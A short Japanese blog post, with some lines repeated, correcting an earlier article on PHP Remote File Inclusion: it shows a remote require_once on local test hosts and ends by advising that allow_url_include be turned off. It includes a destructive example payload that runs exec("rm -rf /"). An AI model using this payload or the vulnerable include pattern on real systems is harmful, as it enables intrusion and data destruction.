かつてRemote File Include脆弱性についての記事を書いたのですが、結果のところに思いっきり嘘出鱈目を書いてしまっていたので訂正します。
php.ini
allow_url_fopen = On
allow_url_include = On
http://hoge.localhost/rfi.php
require_onceしたファイルが正しいPHPの形になっていれば、通常のrequire_onceと同じようにローカルで実行されてしまうのです。
前回
phpinfo()だけならまだ設定が見られるだけですが、任意のファイルを仕込めるということは、
結論としては、allow_url_includeはOffにしておけ、ってこった。
php.ini
allow_url_fopen = On
allow_url_include = On
http://hoge.localhost/rfi.php
<?php require_once('http://fuga.localhost/phpinfo.php');http://fuga.localhost/phpinfo.php
<?php print('<?php phpinfo(); ?>');みごとに「hoge.localhostでphpinfo()した結果」が表示されました。
require_onceしたファイルが正しいPHPの形になっていれば、通常のrequire_onceと同じようにローカルで実行されてしまうのです。
前回
<?php phpinfo();とするとうまくいかなかったのは、phpinfo()の出力は単なるHTMLなので、HTMLをrequire_onceしたら当然そのまま出力されるだけだったということです
phpinfo()だけならまだ設定が見られるだけですが、任意のファイルを仕込めるということは、
print('<?php exec("rm -rf /"); ?>');なんてこともできるわけで。
結論としては、allow_url_includeはOffにしておけ、ってこった。
PR
トラックバック
トラックバックURL: